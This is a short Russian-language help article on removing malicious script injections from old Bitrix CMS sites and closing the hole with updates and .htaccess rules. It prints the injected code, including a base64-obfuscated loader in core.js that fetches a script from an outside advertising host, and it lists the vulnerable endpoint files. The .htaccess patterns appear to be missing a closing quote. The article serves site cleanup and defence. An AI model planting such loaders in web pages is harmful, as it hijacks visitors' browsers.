ДЫРА Вставка кода типа https://onlinewebstore.pw/jquery-ui.js

В старых версиях Битрикса существует уязвимость, которая позволяет получать доступ к файлам и менять их. На сайты вставляется код с techmestore.pw/jquery-ui.js, который показывает рекламу в новых вкладках.

 

Для его удаления надо:

 

  • удалить в файле ./bitrix/modules/main/include/prolog.php строчку

 

echo "<script src='https://techmestore.pw/jquery-ui.js'></script>";

 

  • удалить в файле ./bitrix/js/main/core/core.js строку

s=document.createElement(`script`);

s.src=atob(`aHR0cHM6Ly90ZWNobWVzdG9yZS5wdy9qcXVlcnktdWkuanM=`);

 

document.head.appendChild(s);

 

Как закрыть уязвимость?

  1. Обновить движок до последней версии
  2. Закрыть доступ к эксплуатируемым папкам через .htaccess

Закрывать доступ надо к файлам:

  • /bitrix/tools/upload.php
  • /bitrix/tools/mail_entry.php
  • /bitrix/modules/main/include/virtual_file_system.php
  • /bitrix/components/bitrix/sender.mail.editor/ajax.php
  • /bitrix/tools/vote/uf.php
  • /bitrix/tools/html_editor_action.php
  • /bitrix/admin/site_checker.php

Делается это так:

В ./bitrix/admin/.htaccess

<Files ~ "^(site_checker)\.php$>
deny from all
</Files>

В ./bitrix/tools/.htaccess

<Files ~ "^(html_editor_action|mail_entry|upload)\.php$>
deny from all
</Files>

В ./bitrix/modules/main/include/.htaccess

<Files ~ "^(virtual_file_system)\.php$>
deny from all
</Files>
 

1 комментарий. Оставить новый

Денис
15.08.2022 11:37

Тут ещё на форуме говорят про
/bitrix/components/bitrix/main.file.input/main.php
Файла не должно быть на чистой установке

 

 

Метаданные статьи

Идентификатор статьи:
70
Категория:
Дата добавления:
2022-08-31 16:04:18